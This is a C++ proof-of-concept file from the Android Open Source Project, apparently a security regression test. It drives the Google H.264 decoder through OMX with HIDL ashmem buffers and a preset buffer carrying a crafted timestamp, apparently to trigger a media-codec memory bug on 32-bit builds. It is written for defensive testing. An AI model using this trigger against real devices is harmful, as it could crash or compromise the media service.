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112 lines
3.7 KiB
112 lines
3.7 KiB
/*
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* Copyright (C) 2020 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License"); you may not
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* use this file except in compliance with the License. You may obtain a copy of
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* the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
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* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
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* License for the specific language governing permissions and limitations under
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* the License.
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*/
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#include <stdlib.h>
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#include "../includes/common.h"
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// This PoC is only for 32-bit builds
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#if _32_BIT
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#include "../includes/omxUtils.h"
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#define TIMESTAMP_US 0x00010001
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extern bool mUseTreble;
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sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
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int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
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buffers->clear();
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OMX_PARAM_PORTDEFINITIONTYPE def;
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int err = omxUtilsGetParameter(portIndex, &def);
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omxExitOnError(err);
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for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
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Buffer buffer;
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buffer.mFlags = 0;
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bool success;
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auto transStatus = mAllocator->allocate(def.nBufferSize,
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[&success, &buffer](bool s, hidl_memory const &m) {
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success = s;
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buffer.mHidlMemory = m;
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});
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omxExitOnError(!transStatus.isOk());
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omxExitOnError(!success);
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omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
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buffers->push(buffer);
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}
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return OK;
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}
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#endif /* _32_BIT */
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int main() {
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// This PoC is only for 32-bit builds
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#if _32_BIT
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int i;
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Vector<Buffer> inputBuffers;
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Vector<Buffer> outputBuffers;
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status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
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omxExitOnError(err);
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OMX_PARAM_PORTDEFINITIONTYPE def;
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omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
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int inMemorySize = def.nBufferCountActual * def.nBufferSize;
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int inBufferCount = def.nBufferCountActual;
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sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
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IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
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omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
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int outMemorySize = def.nBufferCountActual * def.nBufferSize;
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int outBufferCnt = def.nBufferCountActual;
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sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
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IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
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allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
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for (i = 0; i < inBufferCount; ++i) {
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inBufferId[i] = inputBuffers[i].mID;
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}
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allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
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for (i = 0; i < outBufferCnt; ++i) {
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outBufferId[i] = outputBuffers[i].mID;
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}
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
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OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
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int64_t timeUs = TIMESTAMP_US;
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omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
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omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
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for (i = 0; i < inBufferCount; ++i) {
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omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
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}
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for (i = 0; i < outBufferCnt; ++i) {
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omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
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}
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omxUtilsFreeNode();
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#endif /* _32_BIT */
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return EXIT_SUCCESS;
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}
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